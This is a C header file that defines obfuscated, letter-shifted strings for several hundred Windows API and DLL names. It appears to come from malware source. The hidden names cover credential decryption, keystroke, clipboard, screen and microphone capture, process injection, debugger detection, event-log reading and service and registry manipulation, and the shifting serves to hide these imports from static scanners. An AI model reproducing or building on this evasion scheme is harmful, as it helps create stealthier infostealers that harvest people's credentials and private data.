#ifndef obfuscated_calls_h__ #define obfuscated_calls_h__ #define obfuscated_NETAPI32DLL "OFUBQJ43/EMM" #define obfuscated_NetUserGetInfo "OfuVtfsHfuJogp" #define obfuscated_NetApiBufferFree "OfuBqjCvggfsGsff" #define obfuscated_WINHTTPDLL "XJOIUUQ/EMM" #define obfuscated_WinHttpGetIEProxyConfigForCurrentUser "XjoIuuqHfuJFQspyzDpogjhGpsDvssfouVtfs" #define obfuscated_WinHttpReadData "XjoIuuqSfbeEbub" #define obfuscated_WinHttpReceiveResponse "XjoIuuqSfdfjwfSftqpotf" #define obfuscated_WinHttpSendRequest "XjoIuuqTfoeSfrvftu" #define obfuscated_WinHttpQueryOption "XjoIuuqRvfszPqujpo" #define obfuscated_WinHttpWriteData "XjoIuuqXsjufEbub" #define obfuscated_WinHttpOpen "XjoIuuqPqfo" #define obfuscated_WinHttpSetOption "XjoIuuqTfuPqujpo" #define obfuscated_WinHttpAddRequestHeaders "XjoIuuqBeeSfrvftuIfbefst" #define obfuscated_WinHttpGetProxyForUrl "XjoIuuqHfuQspyzGpsVsm" #define obfuscated_WinHttpConnect "XjoIuuqDpoofdu" #define obfuscated_WinHttpSetTimeouts "XjoIuuqTfuUjnfpvut" #define obfuscated_WinHttpOpenRequest "XjoIuuqPqfoSfrvftu" #define obfuscated_PSAPIDLL "QTBQJ/EMM" #define obfuscated_GetModuleFileNameExA "HfuNpevmfGjmfObnfFyB" #define obfuscated_GetDeviceDriverBaseNameW "HfuEfwjdfEsjwfsCbtfObnfX" #define obfuscated_EnumDeviceDrivers "FovnEfwjdfEsjwfst" #define obfuscated_GetModuleFileNameExW "HfuNpevmfGjmfObnfFyX" #define obfuscated_EnumProcessModules "FovnQspdfttNpevmft" #define obfuscated_SHLWAPIDLL "TIMXBQJ/EMM" #define obfuscated_StrRChrA "TusSDisB" #define obfuscated_wnsprintfW "xotqsjougX" #define obfuscated_WINMMDLL "XJONN/EMM" #define obfuscated_mixerSetControlDetails "njyfsTfuDpouspmEfubjmt" #define obfuscated_mixerGetControlDetailsA "njyfsHfuDpouspmEfubjmtB" #define obfuscated_mixerGetLineControlsA "njyfsHfuMjofDpouspmtB" #define obfuscated_mixerGetLineInfoA "njyfsHfuMjofJogpB" #define obfuscated_waveInClose "xbwfJoDmptf" #define obfuscated_waveInReset "xbwfJoSftfu" #define obfuscated_mixerClose "njyfsDmptf" #define obfuscated_mixerGetDevCapsA "njyfsHfuEfwDbqtB" #define obfuscated_mixerGetNumDevs "njyfsHfuOvnEfwt" #define obfuscated_waveInOpen "xbwfJoPqfo" #define obfuscated_mixerOpen "njyfsPqfo" #define obfuscated_CRYPT32DLL "DSZQU43/EMM" #define obfuscated_CertFreeCertificateContext "DfsuGsffDfsujgjdbufDpoufyu" #define obfuscated_CryptUnprotectData "DszquVoqspufduEbub" #define obfuscated_OLEACCDLL "PMFBDD/EMM" #define obfuscated_AccessibleChildren "BddfttjcmfDijmesfo" #define obfuscated_AccessibleObjectFromWindow "BddfttjcmfPckfduGspnXjoepx" #define obfuscated_IMAGEHLPDLL "JNBHFIMQ/EMM" #define obfuscated_MapAndLoad "NbqBoeMpbe" #define obfuscated_UnMapAndLoad "VoNbqBoeMpbe" #define obfuscated_VERSIONDLL "WFSTJPO/EMM" #define obfuscated_VerQueryValueW "WfsRvfszWbmvfX" #define obfuscated_GetFileVersionInfoSizeW "HfuGjmfWfstjpoJogpTj{fX" #define obfuscated_GetFileVersionInfoW "HfuGjmfWfstjpoJogpX" #define obfuscated_KERNEL32DLL "LFSOFM43/EMM" #define obfuscated_CreateFileMappingA "DsfbufGjmfNbqqjohB" #define obfuscated_UnmapViewOfFile "VonbqWjfxPgGjmf" #define obfuscated_GetTickCount "HfuUjdlDpvou" #define obfuscated_TerminateProcess "UfsnjobufQspdftt" #define obfuscated_CreateFileW "DsfbufGjmfX" #define obfuscated_GetFileSize "HfuGjmfTj{f" #define obfuscated_OpenProcess "PqfoQspdftt" #define obfuscated_GetCurrentProcessId "HfuDvssfouQspdfttJe" #define obfuscated_FlushFileBuffers "GmvtiGjmfCvggfst" #define obfuscated_GetSystemDirectoryA "HfuTztufnEjsfdupszB" #define obfuscated_GetEnvironmentVariableW "HfuFowjsponfouWbsjbcmfX" #define obfuscated_FindClose "GjoeDmptf" #define obfuscated_FindNextFileW "GjoeOfyuGjmfX" #define obfuscated_CopyFileW "DpqzGjmfX" #define obfuscated_RemoveDirectoryW "SfnpwfEjsfdupszX" #define obfuscated_FindFirstFileW "GjoeGjstuGjmfX" #define obfuscated_CreateDirectoryW "DsfbufEjsfdupszX" #define obfuscated_WriteFile "XsjufGjmf" #define obfuscated_CreateFileA "DsfbufGjmfB" #define obfuscated_ExitProcess "FyjuQspdftt" #define obfuscated_GetDriveTypeW "HfuEsjwfUzqfX" #define obfuscated_ReadFile "SfbeGjmf" #define obfuscated_GetModuleFileNameA "HfuNpevmfGjmfObnfB" #define obfuscated_LocalFree "MpdbmGsff" #define obfuscated_LocalAlloc "MpdbmBmmpd" #define obfuscated_GetLastError "HfuMbtuFssps" #define obfuscated_Process32Next "Qspdftt43Ofyu" #define obfuscated_Module32Next "Npevmf43Ofyu" #define obfuscated_Module32First "Npevmf43Gjstu" #define obfuscated_Process32First "Qspdftt43Gjstu" #define obfuscated_CreateToolhelp32Snapshot "DsfbufUppmifmq43Tobqtipu" #define obfuscated_GetProcAddress "HfuQspdBeesftt" #define obfuscated_FindFirstFileA "GjoeGjstuGjmfB" #define obfuscated_GetEnvironmentVariableA "HfuFowjsponfouWbsjbcmfB" #define obfuscated_GetFileInformationByHandle "HfuGjmfJogpsnbujpoCzIboemf" #define obfuscated_LoadLibraryA "MpbeMjcsbszB" #define obfuscated_Process32NextW "Qspdftt43OfyuX" #define obfuscated_Process32FirstW "Qspdftt43GjstuX" #define obfuscated_FreeLibrary "GsffMjcsbsz" #define obfuscated_GetCurrentProcess "HfuDvssfouQspdftt" #define obfuscated_GetDiskFreeSpaceExW "HfuEjtlGsffTqbdfFyX" #define obfuscated_GetLocaleInfoW "HfuMpdbmfJogpX" #define obfuscated_GlobalMemoryStatusEx "HmpcbmNfnpszTubuvtFy" #define obfuscated_GetSystemInfo "HfuTztufnJogp" #define obfuscated_GetSystemPowerStatus "HfuTztufnQpxfsTubuvt" #define obfuscated_GetVolumeInformationW "HfuWpmvnfJogpsnbujpoX" #define obfuscated_LoadLibraryW "MpbeMjcsbszX" #define obfuscated_WaitForSingleObject "XbjuGpsTjohmfPckfdu" #define obfuscated_SetFileAttributesW "TfuGjmfBuusjcvuftX" #define obfuscated_SetLastError "TfuMbtuFssps" #define obfuscated_VirtualQueryEx "WjsuvbmRvfszFy" #define obfuscated_Module32NextW "Npevmf43OfyuX" #define obfuscated_Module32FirstW "Npevmf43GjstuX" #define obfuscated_WideCharToMultiByte "XjefDibsUpNvmujCzuf" #define obfuscated_GetShortPathNameW "HfuTipsuQbuiObnfX" #define obfuscated_ExpandEnvironmentStringsW "FyqboeFowjsponfouTusjohtX" #define obfuscated_ExpandEnvironmentStringsA "FyqboeFowjsponfouTusjohtB" #define obfuscated_VirtualFreeEx "WjsuvbmGsffFy" #define obfuscated_GetSystemTimeAsFileTime "HfuTztufnUjnfBtGjmfUjnf" #define obfuscated_DeleteFileA "EfmfufGjmfB" #define obfuscated_SetFileAttributesA "TfuGjmfBuusjcvuftB" #define obfuscated_GetLongPathNameA "HfuMpohQbuiObnfB" #define obfuscated_GetCommandLineW "HfuDpnnboeMjofX" #define obfuscated_GetCommandLineA "HfuDpnnboeMjofB" #define obfuscated_MoveFileExA "NpwfGjmfFyB" #define obfuscated_GlobalUnlock "HmpcbmVompdl" #define obfuscated_OpenFileMappingA "PqfoGjmfNbqqjohB" #define obfuscated_CopyFileA "DpqzGjmfB" #define obfuscated_FindNextFileA "GjoeOfyuGjmfB" #define obfuscated_GetDiskFreeSpaceExA "HfuEjtlGsffTqbdfFyB" #define obfuscated_SetFilePointer "TfuGjmfQpjoufs" #define obfuscated_IsDebuggerPresent "JtEfcvhhfsQsftfou" #define obfuscated_GetFileTime "HfuGjmfUjnf" #define obfuscated_GlobalFree "HmpcbmGsff" #define obfuscated_LoadLibraryExA "MpbeMjcsbszFyB" #define obfuscated_GlobalAlloc "HmpcbmBmmpd" #define obfuscated_DeviceIoControl "EfwjdfJpDpouspm" #define obfuscated_VirtualFree "WjsuvbmGsff" #define obfuscated_VirtualProtectEx "WjsuvbmQspufduFy" #define obfuscated_WriteProcessMemory "XsjufQspdfttNfnpsz" #define obfuscated_ReadProcessMemory "SfbeQspdfttNfnpsz" #define obfuscated_CreateRemoteThread "DsfbufSfnpufUisfbe" #define obfuscated_SystemTimeToFileTime "TztufnUjnfUpGjmfUjnf" #define obfuscated_GetSystemTime "HfuTztufnUjnf" #define obfuscated_lstrcmpA "mtusdnqB" #define obfuscated_GetFileAttributesW "HfuGjmfBuusjcvuftX" #define obfuscated_MultiByteToWideChar "NvmujCzufUpXjefDibs" #define obfuscated_GetPrivateProfileStringW "HfuQsjwbufQspgjmfTusjohX" #define obfuscated_lstrcatA "mtusdbuB" #define obfuscated_lstrcpyA "mtusdqzB" #define obfuscated_lstrcmpW "mtusdnqX" #define obfuscated_GetVolumeInformationA "HfuWpmvnfJogpsnbujpoB" #define obfuscated_SetFileTime "TfuGjmfUjnf" #define obfuscated_IsBadStringPtrW "JtCbeTusjohQusX" #define obfuscated_GetCPInfo "HfuDQJogp" #define obfuscated_GetStdHandle "HfuTueIboemf" #define obfuscated_GetModuleHandleW "HfuNpevmfIboemfX" #define obfuscated_VirtualAlloc "WjsuvbmBmmpd" #define obfuscated_HeapDestroy "IfbqEftuspz" #define obfuscated_HeapCreate "IfbqDsfbuf" #define obfuscated_DeleteCriticalSection "EfmfufDsjujdbmTfdujpo" #define obfuscated_GetCurrentThreadId "HfuDvssfouUisfbeJe" #define obfuscated_SetUnhandledExceptionFilter "TfuVoiboemfeFydfqujpoGjmufs" #define obfuscated_UnhandledExceptionFilter "VoiboemfeFydfqujpoGjmufs" #define obfuscated_RaiseException "SbjtfFydfqujpo" #define obfuscated_RtlUnwind "SumVoxjoe" #define obfuscated_HeapFree "IfbqGsff" #define obfuscated_HeapAlloc "IfbqBmmpd" #define obfuscated_HeapReAlloc "IfbqSfBmmpd" #define obfuscated_LCMapStringA "MDNbqTusjohB" #define obfuscated_LCMapStringW "MDNbqTusjohX" #define obfuscated_HeapSize "IfbqTj{f" #define obfuscated_VirtualQuery "WjsuvbmRvfsz" #define obfuscated_SetHandleCount "TfuIboemfDpvou" #define obfuscated_GetFileType "HfuGjmfUzqf" #define obfuscated_GetStartupInfoA "HfuTubsuvqJogpB" #define obfuscated_FreeEnvironmentStringsA "GsffFowjsponfouTusjohtB" #define obfuscated_GetEnvironmentStrings "HfuFowjsponfouTusjoht" #define obfuscated_FreeEnvironmentStringsW "GsffFowjsponfouTusjohtX" #define obfuscated_GetEnvironmentStringsW "HfuFowjsponfouTusjohtX" #define obfuscated_QueryPerformanceCounter "RvfszQfsgpsnbodfDpvoufs" #define obfuscated_InitializeCriticalSectionAndSpinCount "Jojujbmj{fDsjujdbmTfdujpoBoeTqjoDpvou" #define obfuscated_GetConsoleCP "HfuDpotpmfDQ" #define obfuscated_GetConsoleMode "HfuDpotpmfNpef" #define obfuscated_GetStringTypeA "HfuTusjohUzqfB" #define obfuscated_GetStringTypeW "HfuTusjohUzqfX" #define obfuscated_GetLocaleInfoA "HfuMpdbmfJogpB" #define obfuscated_MapViewOfFile "NbqWjfxPgGjmf" #define obfuscated_GetModuleHandleA "HfuNpevmfIboemfB" #define obfuscated_CloseHandle "DmptfIboemf" #define obfuscated_InitializeCriticalSection "Jojujbmj{fDsjujdbmTfdujpo" #define obfuscated_Sleep "Tmffq" #define obfuscated_ExitThread "FyjuUisfbe" #define obfuscated_EnterCriticalSection "FoufsDsjujdbmTfdujpo" #define obfuscated_LeaveCriticalSection "MfbwfDsjujdbmTfdujpo" #define obfuscated_InterlockedIncrement "JoufsmpdlfeJodsfnfou" #define obfuscated_InterlockedDecrement "JoufsmpdlfeEfdsfnfou" #define obfuscated_GetACP "HfuBDQ" #define obfuscated_GetOEMCP "HfuPFNDQ" #define obfuscated_IsValidCodePage "JtWbmjeDpefQbhf" #define obfuscated_TlsGetValue "UmtHfuWbmvf" #define obfuscated_TlsAlloc "UmtBmmpd" #define obfuscated_TlsFree "UmtGsff" #define obfuscated_TlsSetValue "UmtTfuWbmvf" #define obfuscated_GlobalLock "HmpcbmMpdl" #define obfuscated_SetStdHandle "TfuTueIboemf" #define obfuscated_WriteConsoleA "XsjufDpotpmfB" #define obfuscated_GetConsoleOutputCP "HfuDpotpmfPvuqvuDQ" #define obfuscated_WriteConsoleW "XsjufDpotpmfX" #define obfuscated_SetEndOfFile "TfuFoePgGjmf" #define obfuscated_GetProcessHeap "HfuQspdfttIfbq" #define obfuscated_DeleteFileW "EfmfufGjmfX" #define obfuscated_USER32DLL "VTFS43/EMM" #define obfuscated_ToUnicode "UpVojdpef" #define obfuscated_EnumChildWindows "FovnDijmeXjoepxt" #define obfuscated_GetClassNameW "HfuDmbttObnfX" #define obfuscated_RegisterWindowMessageW "SfhjtufsXjoepxNfttbhfX" #define obfuscated_PeekMessageA "QfflNfttbhfB" #define obfuscated_TranslateMessage "UsbotmbufNfttbhf" #define obfuscated_DispatchMessageA "EjtqbudiNfttbhfB" #define obfuscated_InvalidateRect "JowbmjebufSfdu" #define obfuscated_GetKeyNameTextW "HfuLfzObnfUfyuX" #define obfuscated_CloseClipboard "DmptfDmjqcpbse" #define obfuscated_GetClipboardData "HfuDmjqcpbseEbub" #define obfuscated_OpenClipboard "PqfoDmjqcpbse" #define obfuscated_EnumWindows "FovnXjoepxt" #define obfuscated_IsWindow "JtXjoepx" #define obfuscated_FindWindowExW "GjoeXjoepxFyX" #define obfuscated_SendMessageTimeoutW "TfoeNfttbhfUjnfpvuX" #define obfuscated_GetWindowTextW "HfuXjoepxUfyuX" #define obfuscated_GetWindowTextA "HfuXjoepxUfyuB" #define obfuscated_LoadIconA "MpbeJdpoB" #define obfuscated_LoadCursorA "MpbeDvstpsB" #define obfuscated_RegisterClassExA "SfhjtufsDmbttFyB" #define obfuscated_CreateWindowExA "DsfbufXjoepxFyB" #define obfuscated_ShowWindow "TipxXjoepx" #define obfuscated_UpdateWindow "VqebufXjoepx" #define obfuscated_DefWindowProcA "EfgXjoepxQspdB" #define obfuscated_BeginPaint "CfhjoQbjou" #define obfuscated_GetClientRect "HfuDmjfouSfdu" #define obfuscated_EndPaint "FoeQbjou" #define obfuscated_MessageBoxA "NfttbhfCpyB" #define obfuscated_SystemParametersInfoA "TztufnQbsbnfufstJogpB" #define obfuscated_GetForegroundWindow "HfuGpsfhspvoeXjoepx" #define obfuscated_GetSystemMetrics "HfuTztufnNfusjdt" #define obfuscated_GetDC "HfuED" #define obfuscated_GetDesktopWindow "HfuEftlupqXjoepx" #define obfuscated_GetWindowInfo "HfuXjoepxJogp" #define obfuscated_ReleaseDC "SfmfbtfED" #define obfuscated_wsprintfW "xtqsjougX" #define obfuscated_GetWindowThreadProcessId "HfuXjoepxUisfbeQspdfttJe" #define obfuscated_DrawTextA "EsbxUfyuB" #define obfuscated_wsprintfA "xtqsjougB" #define obfuscated_GDI32DLL "HEJ43/EMM" #define obfuscated_CreateDCA "DsfbufEDB" #define obfuscated_SetDIBits "TfuEJCjut" #define obfuscated_CreateRectRgn "DsfbufSfduSho" #define obfuscated_CreateSolidBrush "DsfbufTpmjeCsvti" #define obfuscated_FillRgn "GjmmSho" #define obfuscated_SetTextColor "TfuUfyuDpmps" #define obfuscated_SetBkColor "TfuClDpmps" #define obfuscated_GetStockObject "HfuTupdlPckfdu" #define obfuscated_CreateCompatibleDC "DsfbufDpnqbujcmfED" #define obfuscated_CreateCompatibleBitmap "DsfbufDpnqbujcmfCjunbq" #define obfuscated_CreatePalette "DsfbufQbmfuuf" #define obfuscated_SelectPalette "TfmfduQbmfuuf" #define obfuscated_SelectObject "TfmfduPckfdu" #define obfuscated_StretchBlt "TusfudiCmu" #define obfuscated_GetDIBits "HfuEJCjut" #define obfuscated_DeleteObject "EfmfufPckfdu" #define obfuscated_DeleteDC "EfmfufED" #define obfuscated_ADVAPI32DLL "BEWBQJ43/EMM" #define obfuscated_SetSecurityDescriptorSacl "TfuTfdvsjuzEftdsjqupsTbdm" #define obfuscated_RegOpenKeyA "SfhPqfoLfzB" #define obfuscated_RegQueryValueExA "SfhRvfszWbmvfFyB" #define obfuscated_RegCreateKeyA "SfhDsfbufLfzB" #define obfuscated_LookupAccountSidA "MpplvqBddpvouTjeB" #define obfuscated_GetUserNameA "HfuVtfsObnfB" #define obfuscated_RegLoadKeyW "SfhMpbeLfzX" #define obfuscated_RegCreateKeyW "SfhDsfbufLfzX" #define obfuscated_RegSetValueExA "SfhTfuWbmvfFyB" #define obfuscated_RegUnLoadKeyW "SfhVoMpbeLfzX" #define obfuscated_RegOpenKeyW "SfhPqfoLfzX" #define obfuscated_RegEnumKeyW "SfhFovnLfzX" #define obfuscated_OpenProcessToken "PqfoQspdfttUplfo" #define obfuscated_LookupPrivilegeValueA "MpplvqQsjwjmfhfWbmvfB" #define obfuscated_AdjustTokenPrivileges "BekvtuUplfoQsjwjmfhft" #define obfuscated_RegOpenKeyExW "SfhPqfoLfzFyX" #define obfuscated_RegQueryValueExW "SfhRvfszWbmvfFyX" #define obfuscated_RegCloseKey "SfhDmptfLfz" #define obfuscated_GetSecurityDescriptorSacl "HfuTfdvsjuzEftdsjqupsTbdm" #define obfuscated_ConvertStringSecurityDescriptorToSecurityDescriptorA "DpowfsuTusjohTfdvsjuzEftdsjqupsUpTfdvsjuzEftdsjqupsB" #define obfuscated_SetSecurityDescriptorDacl "TfuTfdvsjuzEftdsjqupsEbdm" #define obfuscated_InitializeSecurityDescriptor "Jojujbmj{fTfdvsjuzEftdsjqups" #define obfuscated_CloseEventLog "DmptfFwfouMph" #define obfuscated_OpenEventLogA "PqfoFwfouMphB" #define obfuscated_GetOldestEventLogRecord "HfuPmeftuFwfouMphSfdpse" #define obfuscated_GetNumberOfEventLogRecords "HfuOvncfsPgFwfouMphSfdpset" #define obfuscated_ReadEventLogA "SfbeFwfouMphB" #define obfuscated_CloseServiceHandle "DmptfTfswjdfIboemf" #define obfuscated_OpenSCManagerA "PqfoTDNbobhfsB" #define obfuscated_StartServiceA "TubsuTfswjdfB" #define obfuscated_CreateServiceW "DsfbufTfswjdfX" #define obfuscated_RegOpenKeyExA "SfhPqfoLfzFyB" #define obfuscated_RegEnumValueA "SfhFovnWbmvfB" #define obfuscated_RegEnumKeyExA "SfhFovnLfzFyB" #define obfuscated_RegDeleteValueA "SfhEfmfufWbmvfB" #define obfuscated_GetSidSubAuthority "HfuTjeTvcBvuipsjuz" #define obfuscated_GetSidSubAuthorityCount "HfuTjeTvcBvuipsjuzDpvou" #define obfuscated_GetTokenInformation "HfuUplfoJogpsnbujpo" #define obfuscated_ConvertSidToStringSidW "DpowfsuTjeUpTusjohTjeX" #define obfuscated_RegSetValueExW "SfhTfuWbmvfFyX" #define obfuscated_GetUserNameW "HfuVtfsObnfX" #define obfuscated_RegEnumKeyExW "SfhFovnLfzFyX" #define obfuscated_ConvertSidToStringSidA "DpowfsuTjeUpTusjohTjeB" #define obfuscated_SHELL32DLL "TIFMM43/EMM" #define obfuscated_SHGetSpecialFolderPathW "TIHfuTqfdjbmGpmefsQbuiX" #define obfuscated_OLE32DLL "PMF43/EMM" #define obfuscated_CreateStreamOnHGlobal "DsfbufTusfbnPoIHmpcbm" #endif // obfuscated_calls_h__ .